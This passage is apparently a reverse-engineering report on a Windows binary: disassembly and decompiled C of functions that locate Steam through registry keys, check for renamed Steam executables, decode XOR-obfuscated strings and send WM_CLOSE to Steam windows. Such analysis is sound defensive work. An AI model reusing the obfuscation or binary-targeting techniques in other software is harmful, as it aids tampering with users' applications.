140005eca	c7 44 24 40 04 00 00 00	MOV dword ptr [RSP + local_res8],0x4
140005ed2	ba 14 00 00 00	MOV EDX,0x14
140005ed7	ff 15 9b 91 01 00	CALL qword ptr [PTR_GetTokenInformation_14001f078]
140005edd	85 c0	TEST EAX,EAX
140005edf	74 0b	JZ LAB_140005eec
140005ee1	39 5c 24 48	CMP dword ptr [RSP + local_res10],EBX
140005ee5	74 05	JZ LAB_140005eec
140005ee7	bb 01 00 00 00	MOV EBX,0x1
LAB_140005eec:
140005eec	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_res18]
140005ef1	ff 15 71 93 01 00	CALL qword ptr [PTR_CloseHandle_14001f268]
140005ef7	8b c3	MOV EAX,EBX
140005ef9	48 83 c4 30	ADD RSP,0x30
140005efd	5b	POP RBX
140005efe	c3	RET

reads per-user uninstall registry…

0x140005f00346 bytes

undefined FUN_140005f00(HKEY param_1, LPCWSTR param_2, LPWSTR param_3)

reads per-user uninstall registry entries to find the Steam executable path

Cited as: E3
Behaviours: B2
Called from: FUN_140006170
Calls: PathAppendW RegCloseKey RegOpenKeyExW RegQueryValueExW GetFullPathNameW __security_check_cookie

Decompiled C · 44 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005f00(HKEY param_1,LPCWSTR param_2,LPWSTR param_3)

{
  LSTATUS LVar1;
  WCHAR *pWVar2;
  undefined1 auStackY_268 [32];
  DWORD local_238;
  DWORD local_234;
  HKEY local_230;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_268;
  LVar1 = RegOpenKeyExW(param_1,param_2,0,0x20019,&local_230);
  if (LVar1 == 0) {
    local_238 = 0x208;
    local_234 = 0;
    LVar1 = RegQueryValueExW(local_230,L"SteamExe",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                             &local_238);
    if (((LVar1 != 0) || (local_234 != 1)) || (local_228[0] == L'\0')) {
      local_238 = 0x208;
      LVar1 = RegQueryValueExW(local_230,L"SteamPath",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                               &local_238);
      if ((LVar1 != 0) || (local_228[0] == L'\0')) {
        RegCloseKey(local_230);
      }
      pWVar2 = local_228;
      do {
        if (local_228[0] == L'/') {
          *pWVar2 = L'\\';
        }
        local_228[0] = pWVar2[1];
        pWVar2 = pWVar2 + 1;
      } while (local_228[0] != L'\0');
      PathAppendW(local_228,L"steam.exe");
    }
    RegCloseKey(local_230);
    GetFullPathNameW(local_228,0x104,param_3,(LPWSTR *)0x0);
  }
}

Assembly · 78 instructions, 3 annotated

Address	Bytes	Instruction	Comment
140005f00	40 57	PUSH RDI
140005f02	48 81 ec 60 02 00 00	SUB RSP,0x260
140005f09	48 8b 05 30 81 02 00	MOV RAX,qword ptr [DAT_14002e040]
140005f10	48 33 c4	XOR RAX,RSP
140005f13	48 89 84 24 50 02 00 00	MOV qword ptr [RSP + local_18],RAX
140005f1b	49 8b f8	MOV RDI,R8
140005f1e	48 8d 44 24 38	LEA RAX,[RSP + 0x38]
140005f23	45 33 c0	XOR R8D,R8D
140005f26	48 89 44 24 20	MOV qword ptr [RSP + local_248],RAX
140005f2b	41 b9 19 00 02 00	MOV R9D,0x20019
140005f31	ff 15 29 91 01 00	CALL qword ptr [PTR_RegOpenKeyExW_14001f060]
140005f37	85 c0	TEST EAX,EAX
140005f39	74 07	JZ LAB_140005f42
140005f3b	33 c0	XOR EAX,EAX
140005f3d	e9 08 01 00 00	JMP LAB_14000604a
LAB_140005f42:
140005f42	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_230]
140005f47	48 8d 44 24 30	LEA RAX,[RSP + 0x30]
140005f4c	48 89 44 24 28	MOV qword ptr [RSP + local_240],RAX
140005f51	4c 8d 4c 24 34	LEA R9,[RSP + 0x34]
140005f56	48 8d 44 24 40	LEA RAX,[RSP + 0x40]
LAB_140005f5b:
140005f5b	48 89 9c 24 88 02 00 00	MOV qword ptr [RSP + local_res20],RBX
140005f63	33 db	XOR EBX,EBX
140005f65	48 89 44 24 20	MOV qword ptr [RSP + local_248],RAX
140005f6a	45 33 c0	XOR R8D,R8D
140005f6d	c7 44 24 30 08 02 00 00	MOV dword ptr [RSP + local_238],0x208
140005f75	48 8d 15 6c 3a 02 00	LEA RDX,[u_SteamExe_1400299e8]	; "SteamExe"
140005f7c	89 5c 24 34	MOV dword ptr [RSP + local_234],EBX
140005f80	ff 15 ea 90 01 00	CALL qword ptr [PTR_RegQueryValueExW_14001f070]
140005f86	85 c0	TEST EAX,EAX
140005f88	75 0e	JNZ LAB_140005f98
140005f8a	83 7c 24 34 01	CMP dword ptr [RSP + local_234],0x1
140005f8f	75 07	JNZ LAB_140005f98
140005f91	66 39 5c 24 40	CMP word ptr [RSP + local_228],BX
140005f96	75 73	JNZ LAB_14000600b
LAB_140005f98:
140005f98	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_230]
140005f9d	48 8d 44 24 30	LEA RAX,[RSP + 0x30]
140005fa2	48 89 44 24 28	MOV qword ptr [RSP + local_240],RAX
140005fa7	4c 8d 4c 24 34	LEA R9,[RSP + 0x34]
140005fac	48 8d 44 24 40	LEA RAX,[RSP + 0x40]
140005fb1	c7 44 24 30 08 02 00 00	MOV dword ptr [RSP + local_238],0x208
140005fb9	45 33 c0	XOR R8D,R8D
140005fbc	48 89 44 24 20	MOV qword ptr [RSP + local_248],RAX
140005fc1	48 8d 15 38 3a 02 00	LEA RDX,[u_SteamPath_140029a00]	; "SteamPath"
140005fc8	ff 15 a2 90 01 00	CALL qword ptr [PTR_RegQueryValueExW_14001f070]
140005fce	85 c0	TEST EAX,EAX
140005fd0	75 63	JNZ LAB_140006035
140005fd2	0f b7 4c 24 40	MOVZX ECX,word ptr [RSP + local_228]
140005fd7	66 85 c9	TEST CX,CX
140005fda	74 59	JZ LAB_140006035
140005fdc	48 8d 44 24 40	LEA RAX,[RSP + 0x40]
LAB_140005fe1:
140005fe1	66 83 f9 2f	CMP CX,0x2f
140005fe5	75 05	JNZ LAB_140005fec
140005fe7	66 c7 00 5c 00	MOV word ptr [RAX],0x5c
LAB_140005fec:
140005fec	0f b7 48 02	MOVZX ECX,word ptr [RAX + local_226]
140005ff0	48 83 c0 02	ADD RAX,0x2
140005ff4	66 85 c9	TEST CX,CX
140005ff7	75 e8	JNZ LAB_140005fe1
140005ff9	48 8d 15 18 3a 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
140006000	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140006005	ff 15 f5 93 01 00	CALL qword ptr [PTR_PathAppendW_14001f400]
LAB_14000600b:
14000600b	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_230]
140006010	ff 15 12 90 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
140006016	45 33 c9	XOR R9D,R9D
140006019	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
14000601e	4c 8b c7	MOV R8,RDI
140006021	ba 04 01 00 00	MOV EDX,0x104
140006026	ff 15 9c 91 01 00	CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
14000602c	85 c0	TEST EAX,EAX
14000602e	0f 95 c3	SETNZ BL
140006031	8b c3	MOV EAX,EBX
140006033	eb 0d	JMP LAB_140006042
LAB_140006035:
140006035	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_230]
14000603a	ff 15 e8 8f 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
140006040	33 c0	XOR EAX,EAX
LAB_140006042:
140006042	48 8b 9c 24 88 02 00 00	MOV RBX,qword ptr [RSP + local_res20]
LAB_14000604a:
14000604a	48 8b 8c 24 50 02 00 00	MOV RCX,qword ptr [RSP + local_18]
140006052	48 33 cc	XOR RCX,RSP
140006055	e8 d6 28 00 00	CALL __security_check_cookie

resolves the Steam install path by…

0x140006170806 bytes

undefined FUN_140006170(LPWSTR param_1)

resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys

Cited as: E2
Behaviours: B2
Called from: FUN_140007950, FUN_140008650
Calls: RegCloseKey RegOpenKeyExW RegQueryValueExW GetFullPathNameW ExpandEnvironmentStringsW GetFileAttributesW FUN_140005f00, FUN_140006070, __security_check_cookie, FUN_140009ae0, FUN_1400112c4

Decompiled C · 110 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006170(LPWSTR param_1)

{
  LSTATUS LVar1;
  DWORD DVar2;
  int iVar3;
  undefined1 (*pauVar4) [16];
  ulonglong uVar5;
  undefined **ppuVar6;
  undefined **ppuVar7;
  undefined1 auStackY_908 [32];
  DWORD local_8d8 [2];
  HKEY local_8d0;
  uint local_8c8;
  uint uStack_8c4;
  uint uStack_8c0;
  uint uStack_8bc;
  uint local_8b8;
  uint uStack_8b4;
  uint uStack_8b0;
  uint uStack_8ac;
  ushort auStack_8a8 [4];
  undefined2 local_8a0;
  WCHAR local_868 [264];
  WCHAR local_658 [264];
  WCHAR local_448 [264];
  WCHAR local_238 [264];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_908;
  local_8c8 = _DAT_14002a510 ^ _DAT_14002a3f0;
  uStack_8c4 = _UNK_14002a514 ^ _UNK_14002a3f4;
  uStack_8c0 = _UNK_14002a518 ^ _UNK_14002a3f8;
  uStack_8bc = _UNK_14002a51c ^ _UNK_14002a3fc;
  uVar5 = 0x20;
  local_8b8 = _DAT_14002a510 ^ _DAT_14002a400;
  uStack_8b4 = _UNK_14002a514 ^ _UNK_14002a404;
  uStack_8b0 = _UNK_14002a518 ^ _UNK_14002a408;
  uStack_8ac = _UNK_14002a51c ^ _UNK_14002a40c;
  do {
    *(ushort *)((longlong)&local_8c8 + uVar5) = *(ushort *)(&DAT_14002a3f0 + uVar5) ^ 0x5a5a;
    uVar5 = uVar5 + 2;
  } while (uVar5 < 0x28);
  local_8a0 = 0;
  FUN_1400112c4(local_238,0x104,(longlong)&local_8c8,-1);
  ppuVar7 = &PTR_u_SOFTWARE_WOW6432Node_Valve_Steam_14002a350;
  ppuVar6 = &PTR_u_SOFTWARE_WOW6432Node_Valve_Steam_14002a350;
  do {
    local_8d8[0] = 0x208;
    local_8d8[1] = 0;
    LVar1 = RegOpenKeyExW((HKEY)0xffffffff80000002,(LPCWSTR)*ppuVar6,0,0x20019,&local_8d0);
    if (LVar1 == 0) {
      LVar1 = RegQueryValueExW(local_8d0,L"InstallPath",(LPDWORD)0x0,local_8d8 + 1,(LPBYTE)local_448
                               ,local_8d8);
      if ((LVar1 == 0) && (local_448[0] != L'\0')) {
        RegCloseKey(local_8d0);
        DVar2 = GetFullPathNameW(local_448,0x104,local_658,(LPWSTR *)0x0);
        if ((DVar2 != 0) && (iVar3 = FUN_140006070(local_658,param_1), iVar3 != 0)) {
        }
      }
      else {
        RegCloseKey(local_8d0);
      }
    }
    ppuVar6 = ppuVar6 + 1;
  } while ((longlong)ppuVar6 < 0x14002a360);
  iVar3 = FUN_140005f00((HKEY)0xffffffff80000001,local_238,local_868);
  if ((((iVar3 == 0) ||
       (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,(undefined1 (*) [16])L"\\SteamUI\\"),
       pauVar4 != (undefined1 (*) [16])0x0)) ||
      (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                               (undefined1 (*) [16])L"\\steam.orig.exe"),
      pauVar4 != (undefined1 (*) [16])0x0)) ||
     (((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                (undefined1 (*) [16])L"\\steam.live.exe"),
       pauVar4 != (undefined1 (*) [16])0x0 || (local_868[0] == L'\0')) ||
      (DVar2 = GetFileAttributesW(local_868), DVar2 == 0xffffffff)))) {
    do {
      iVar3 = FUN_140005f00((HKEY)0xffffffff80000002,(LPCWSTR)*ppuVar7,local_868);
      if (((iVar3 != 0) &&
          (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                   (undefined1 (*) [16])L"\\SteamUI\\"),
          pauVar4 == (undefined1 (*) [16])0x0)) &&
         ((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                   (undefined1 (*) [16])L"\\steam.orig.exe"),
          pauVar4 == (undefined1 (*) [16])0x0 &&
          (((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                     (undefined1 (*) [16])L"\\steam.live.exe"),
            pauVar4 == (undefined1 (*) [16])0x0 && (local_868[0] != L'\0')) &&
           (DVar2 = GetFileAttributesW(local_868), DVar2 != 0xffffffff)))))) goto LAB_140006491;
      ppuVar7 = ppuVar7 + 1;
    } while ((longlong)ppuVar7 < 0x14002a360);
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam",local_658,0x104);
    iVar3 = FUN_140006070(local_658,param_1);
    if (iVar3 != 0) {
    }
    ExpandEnvironmentStringsW(L"%ProgramFiles%\\Steam",local_658,0x104);
    iVar3 = FUN_140006070(local_658,param_1);
    if (iVar3 != 0) {
    }
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam\\steam.exe",local_868,0x104);
  }
LAB_140006491:
  GetFullPathNameW(local_868,0x104,param_1,(LPWSTR *)0x0);
}

Assembly · 174 instructions, 20 annotated

Address	Bytes	Instruction	Comment
140006170	48 89 5c 24 10	MOV qword ptr [RSP + local_res10],RBX
140006175	48 89 74 24 18	MOV qword ptr [RSP + local_res18],RSI
14000617a	48 89 7c 24 20	MOV qword ptr [RSP + local_res20],RDI
14000617f	55	PUSH RBP
140006180	41 56	PUSH R14
140006182	41 57	PUSH R15
140006184	48 8d ac 24 10 f8 ff ff	LEA RBP,[RSP + -0x7f0]
14000618c	48 81 ec f0 08 00 00	SUB RSP,0x8f0
140006193	48 8b 05 a6 7e 02 00	MOV RAX,qword ptr [DAT_14002e040]
14000619a	48 33 c4	XOR RAX,RSP
14000619d	48 89 85 e0 07 00 00	MOV qword ptr [RBP + local_28],RAX
1400061a4	66 0f 6f 0d 64 43 02 00	MOVDQA XMM1,xmmword ptr [DAT_14002a510]
1400061ac	48 8d 15 3d 42 02 00	LEA RDX,[DAT_14002a3f0]
1400061b3	66 0f 6f c1	MOVDQA XMM0,XMM1
1400061b7	4c 8b f1	MOV R14,RCX
1400061ba	0f 57 05 2f 42 02 00	XORPS XMM0,xmmword ptr [DAT_14002a3f0]
1400061c1	b9 20 00 00 00	MOV ECX,0x20
1400061c6	0f 57 0d 33 42 02 00	XORPS XMM1,xmmword ptr [DAT_14002a400]
1400061cd	f3 0f 7f 44 24 40	MOVDQU xmmword ptr [RSP + local_8c8[0]],XMM0
1400061d3	f3 0f 7f 4c 24 50	MOVDQU xmmword ptr [RSP + local_8b8[0]],XMM1
1400061d9	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_1400061e0:
1400061e0	b8 5a 5a 00 00	MOV EAX,0x5a5a
1400061e5	66 33 04 11	XOR AX,word ptr [RCX + RDX*0x1]	; "?Z;Z7Z"
1400061e9	66 89 44 0c 40	MOV word ptr [RSP + RCX*0x1 + 0x40],AX
1400061ee	48 83 c1 02	ADD RCX,0x2
1400061f2	48 83 f9 28	CMP RCX,0x28
1400061f6	72 e8	JC LAB_1400061e0
1400061f8	33 f6	XOR ESI,ESI
1400061fa	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
1400061ff	49 c7 c1 ff ff ff ff	MOV R9,-0x1
140006206	66 89 74 24 68	MOV word ptr [RSP + local_8a0],SI
14000620b	ba 04 01 00 00	MOV EDX,0x104
140006210	48 8d 8d d0 05 00 00	LEA RCX,[RBP + 0x5d0]
140006217	e8 a8 b0 00 00	CALL FUN_1400112c4	; FUN_1400112c4: GetLastError, SetLastError
14000621c	48 8d 3d 2d 41 02 00	LEA RDI,[PTR_u_SOFTWARE\WOW6432Node\Valve\Steam_14002a350]
140006223	48 8b df	MOV RBX,RDI
140006226	4c 8d 3d 33 41 02 00	LEA R15,[s_zXARq^[R`_14002a360]	; "zXARq^[R`"
14000622d	0f 1f 00	NOP dword ptr [RAX]
LAB_140006230:
140006230	48 8b 13	MOV RDX,qword ptr [RBX]	; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
140006233	48 8d 44 24 38	LEA RAX,[RSP + 0x38]
140006238	41 b9 19 00 02 00	MOV R9D,0x20019
14000623e	48 89 44 24 20	MOV qword ptr [RSP + local_8e8],RAX
140006243	45 33 c0	XOR R8D,R8D
140006246	c7 44 24 30 08 02 00 00	MOV dword ptr [RSP + local_8d8],0x208
14000624e	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006255	89 74 24 34	MOV dword ptr [RSP + local_8d4],ESI
140006259	ff 15 01 8e 01 00	CALL qword ptr [PTR_RegOpenKeyExW_14001f060]
14000625f	85 c0	TEST EAX,EAX
140006261	0f 85 b7 00 00 00	JNZ LAB_14000631e
140006267	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_8d0]
14000626c	48 8d 44 24 30	LEA RAX,[RSP + 0x30]
140006271	48 89 44 24 28	MOV qword ptr [RSP + local_8e0],RAX
140006276	4c 8d 4c 24 34	LEA R9,[RSP + 0x34]
14000627b	48 8d 85 c0 03 00 00	LEA RAX,[RBP + 0x3c0]
140006282	45 33 c0	XOR R8D,R8D
140006285	48 8d 15 44 37 02 00	LEA RDX,[u_InstallPath_1400299d0]	; "InstallPath"
14000628c	48 89 44 24 20	MOV qword ptr [RSP + local_8e8],RAX
140006291	ff 15 d9 8d 01 00	CALL qword ptr [PTR_RegQueryValueExW_14001f070]
140006297	85 c0	TEST EAX,EAX
140006299	75 78	JNZ LAB_140006313
14000629b	66 39 b5 c0 03 00 00	CMP word ptr [RBP + local_448],SI
1400062a2	74 6f	JZ LAB_140006313
1400062a4	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_8d0]
1400062a9	ff 15 79 8d 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
1400062af	45 33 c9	XOR R9D,R9D
1400062b2	4c 8d 85 b0 01 00 00	LEA R8,[RBP + 0x1b0]
1400062b9	ba 04 01 00 00	MOV EDX,0x104
1400062be	48 8d 8d c0 03 00 00	LEA RCX,[RBP + 0x3c0]
1400062c5	ff 15 fd 8e 01 00	CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400062cb	85 c0	TEST EAX,EAX
1400062cd	74 4f	JZ LAB_14000631e
1400062cf	49 8b d6	MOV RDX,R14
1400062d2	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
1400062d9	e8 92 fd ff ff	CALL FUN_140006070	; FUN_140006070: GetFileAttributesW, GetFullPathNameW
1400062de	85 c0	TEST EAX,EAX
1400062e0	74 3c	JZ LAB_14000631e
LAB_1400062e2:
1400062e2	b8 01 00 00 00	MOV EAX,0x1
LAB_1400062e7:
1400062e7	48 8b 8d e0 07 00 00	MOV RCX,qword ptr [RBP + local_28]
1400062ee	48 33 cc	XOR RCX,RSP
1400062f1	e8 3a 26 00 00	CALL __security_check_cookie
LAB_140006313:
140006313	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_8d0]
140006318	ff 15 0a 8d 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_14000631e:
14000631e	48 83 c3 08	ADD RBX,0x8
140006322	49 3b df	CMP RBX,R15
140006325	0f 8c 05 ff ff ff	JL LAB_140006230
14000632b	4c 8d 45 a0	LEA R8,[RBP + -0x60]
14000632f	48 c7 c1 01 00 00 80	MOV RCX,-0x7fffffff
140006336	48 8d 95 d0 05 00 00	LEA RDX,[RBP + 0x5d0]
14000633d	e8 be fb ff ff	CALL FUN_140005f00	; FUN_140005f00: RegOpenKeyExW, RegQueryValueExW, PathAppendW, RegCloseKey +1
140006342	85 c0	TEST EAX,EAX
140006344	74 5a	JZ LAB_1400063a0
140006346	48 8d 15 e3 36 02 00	LEA RDX,[u_\SteamUI\_140029a30]	; "\\SteamUI\\"
14000634d	48 8d 4d a0	LEA RCX,[RBP + -0x60]
140006351	e8 8a 37 00 00	CALL FUN_140009ae0
140006356	48 85 c0	TEST RAX,RAX
140006359	75 45	JNZ LAB_1400063a0
14000635b	48 8d 15 e6 36 02 00	LEA RDX,[u_\steam.orig.exe_140029a48]	; "\\steam.orig.exe"
140006362	48 8d 4d a0	LEA RCX,[RBP + -0x60]
140006366	e8 75 37 00 00	CALL FUN_140009ae0
14000636b	48 85 c0	TEST RAX,RAX
14000636e	75 30	JNZ LAB_1400063a0
140006370	48 8d 15 f1 36 02 00	LEA RDX,[u_\steam.live.exe_140029a68]	; "\\steam.live.exe"
140006377	48 8d 4d a0	LEA RCX,[RBP + -0x60]
14000637b	e8 60 37 00 00	CALL FUN_140009ae0
140006380	48 85 c0	TEST RAX,RAX
140006383	75 1b	JNZ LAB_1400063a0
140006385	66 39 75 a0	CMP word ptr [RBP + local_868],SI
140006389	74 15	JZ LAB_1400063a0
14000638b	48 8d 4d a0	LEA RCX,[RBP + -0x60]
14000638f	ff 15 83 8e 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140006395	83 f8 ff	CMP EAX,-0x1
140006398	0f 85 f3 00 00 00	JNZ LAB_140006491
14000639e	66 90	NOP
LAB_1400063a0:
1400063a0	48 8b 17	MOV RDX,qword ptr [RDI]	; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
1400063a3	4c 8d 45 a0	LEA R8,[RBP + -0x60]
1400063a7	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
1400063ae	e8 4d fb ff ff	CALL FUN_140005f00	; FUN_140005f00: RegOpenKeyExW, RegQueryValueExW, PathAppendW, RegCloseKey +1
1400063b3	85 c0	TEST EAX,EAX
1400063b5	74 58	JZ LAB_14000640f
1400063b7	48 8d 15 72 36 02 00	LEA RDX,[u_\SteamUI\_140029a30]	; "\\SteamUI\\"
1400063be	48 8d 4d a0	LEA RCX,[RBP + -0x60]
1400063c2	e8 19 37 00 00	CALL FUN_140009ae0
1400063c7	48 85 c0	TEST RAX,RAX
1400063ca	75 43	JNZ LAB_14000640f
1400063cc	48 8d 15 75 36 02 00	LEA RDX,[u_\steam.orig.exe_140029a48]	; "\\steam.orig.exe"
1400063d3	48 8d 4d a0	LEA RCX,[RBP + -0x60]
1400063d7	e8 04 37 00 00	CALL FUN_140009ae0
1400063dc	48 85 c0	TEST RAX,RAX
1400063df	75 2e	JNZ LAB_14000640f
1400063e1	48 8d 15 80 36 02 00	LEA RDX,[u_\steam.live.exe_140029a68]	; "\\steam.live.exe"
1400063e8	48 8d 4d a0	LEA RCX,[RBP + -0x60]
1400063ec	e8 ef 36 00 00	CALL FUN_140009ae0
1400063f1	48 85 c0	TEST RAX,RAX
1400063f4	75 19	JNZ LAB_14000640f
1400063f6	66 39 75 a0	CMP word ptr [RBP + local_868],SI
1400063fa	74 13	JZ LAB_14000640f
1400063fc	48 8d 4d a0	LEA RCX,[RBP + -0x60]
140006400	ff 15 12 8e 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140006406	83 f8 ff	CMP EAX,-0x1
140006409	0f 85 82 00 00 00	JNZ LAB_140006491
LAB_14000640f:
14000640f	48 83 c7 08	ADD RDI,0x8
140006413	49 3b ff	CMP RDI,R15
140006416	7c 88	JL LAB_1400063a0
140006418	41 b8 04 01 00 00	MOV R8D,0x104
14000641e	48 8d 95 b0 01 00 00	LEA RDX,[RBP + 0x1b0]
140006425	48 8d 0d 1c 37 02 00	LEA RCX,[u_%ProgramFiles(x86)%\Steam_140029b48]	; "%ProgramFiles(x86)%\\Steam"
14000642c	ff 15 ae 8d 01 00	CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
140006432	49 8b d6	MOV RDX,R14
140006435	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
14000643c	e8 2f fc ff ff	CALL FUN_140006070	; FUN_140006070: GetFileAttributesW, GetFullPathNameW
140006441	85 c0	TEST EAX,EAX
140006443	0f 85 99 fe ff ff	JNZ LAB_1400062e2
140006449	41 b8 04 01 00 00	MOV R8D,0x104
14000644f	48 8d 95 b0 01 00 00	LEA RDX,[RBP + 0x1b0]
140006456	48 8d 0d 23 37 02 00	LEA RCX,[u_%ProgramFiles%\Steam_140029b80]	; "%ProgramFiles%\\Steam"
14000645d	ff 15 7d 8d 01 00	CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
140006463	49 8b d6	MOV RDX,R14
140006466	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
14000646d	e8 fe fb ff ff	CALL FUN_140006070	; FUN_140006070: GetFileAttributesW, GetFullPathNameW
140006472	85 c0	TEST EAX,EAX
140006474	0f 85 68 fe ff ff	JNZ LAB_1400062e2
14000647a	41 b8 04 01 00 00	MOV R8D,0x104
140006480	48 8d 55 a0	LEA RDX,[RBP + -0x60]
140006484	48 8d 0d 25 37 02 00	LEA RCX,[u_%ProgramFiles(x86)%\Steam\steam._140029bb0]	; "%ProgramFiles(x86)%\\Steam\\steam.exe"
14000648b	ff 15 4f 8d 01 00	CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
LAB_140006491:
140006491	45 33 c9	XOR R9D,R9D
140006494	48 8d 4d a0	LEA RCX,[RBP + -0x60]
140006498	4d 8b c6	MOV R8,R14
14000649b	ba 04 01 00 00	MOV EDX,0x104
1400064a0	ff 15 22 8d 01 00	CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400064a6	85 c0	TEST EAX,EAX
1400064a8	40 0f 95 c6	SETNZ SIL
1400064ac	8b c6	MOV EAX,ESI
1400064ae	e9 34 fe ff ff	JMP LAB_1400062e7

enumerates processes via…

0x1400064c0651 bytes

undefined FUN_1400064c0(int param_1, undefined4 * param_2)

enumerates processes via CreateToolhelp32Snapshot and sends WM_CLOSE to matching windows

Cited as: E5
Behaviours: B4
Called from: FUN_140007950
Calls: FindWindowExW PostMessageW GetWindowThreadProcessId CreateToolhelp32Snapshot Process32NextW Process32FirstW CloseHandle GetCurrentProcessId __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40

Decompiled C · 79 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_1400064c0(int param_1,undefined4 *param_2)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  HWND hWnd;
  undefined4 uVar3;
  undefined1 auStack_298 [32];
  DWORD local_278 [4];
  undefined4 local_268;
  undefined1 local_264 [4];
  DWORD local_260;
  wchar_t local_23c [266];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStack_298;
  uVar3 = 0;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject == (HANDLE)0xffffffffffffffff) {
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = 0;
    }
  }
  else {
    FUN_14001db40((undefined1 (*) [32])local_264,0,0x234);
    local_268 = 0x238;
    iVar1 = Process32FirstW(hObject,&local_268);
    while (iVar1 != 0) {
      DVar2 = GetCurrentProcessId();
      if (local_260 != DVar2) {
        iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.exe");
        if (param_1 == 0) {
          if ((iVar1 != 0) &&
             (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 != 0)) {
            iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe");
            goto joined_r0x000140006651;
          }
        }
        else if (((((iVar1 != 0) &&
                   (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 != 0)) &&
                  (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe"), iVar1 != 0)) &&
                 ((iVar1 = FID_conflict__wcsicoll(local_23c,L"steamwebhelper.exe"), iVar1 != 0 &&
                  (iVar1 = FID_conflict__wcsicoll(local_23c,L"steamservice.exe"), iVar1 != 0)))) &&
                ((iVar1 = FID_conflict__wcsicoll(local_23c,L"GameOverlayUI.exe"), iVar1 != 0 &&
                 (iVar1 = FID_conflict__wcsicoll(local_23c,L"steamerrorreporter.exe"), iVar1 != 0)))
                ) {
          iVar1 = FID_conflict__wcsicoll(local_23c,L"SteamService.exe");
joined_r0x000140006651:
          if (iVar1 != 0) goto LAB_14000670a;
        }
        iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.exe");
        if ((((iVar1 == 0) ||
             (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 == 0)) ||
            (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe"), iVar1 == 0)) &&
           (uVar3 = 1, param_1 != 0)) {
          for (hWnd = FindWindowExW((HWND)0x0,(HWND)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);
              hWnd != (HWND)0x0; hWnd = FindWindowExW((HWND)0x0,hWnd,(LPCWSTR)0x0,(LPCWSTR)0x0)) {
            local_278[0] = 0;
            GetWindowThreadProcessId(hWnd,local_278);
            if (local_278[0] == local_260) {
              PostMessageW(hWnd,0x10,0,0);
            }
          }
        }
      }
LAB_14000670a:
      iVar1 = Process32NextW(hObject,&local_268);
    }
    CloseHandle(hObject);
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = uVar3;
    }
  }
}

Assembly · 155 instructions, 13 annotated

Address	Bytes	Instruction	Comment
1400064c0	48 89 6c 24 18	MOV qword ptr [RSP + local_res18],RBP
1400064c5	48 89 74 24 20	MOV qword ptr [RSP + local_res20],RSI
1400064ca	57	PUSH RDI
1400064cb	41 56	PUSH R14
1400064cd	41 57	PUSH R15
1400064cf	48 81 ec 80 02 00 00	SUB RSP,0x280
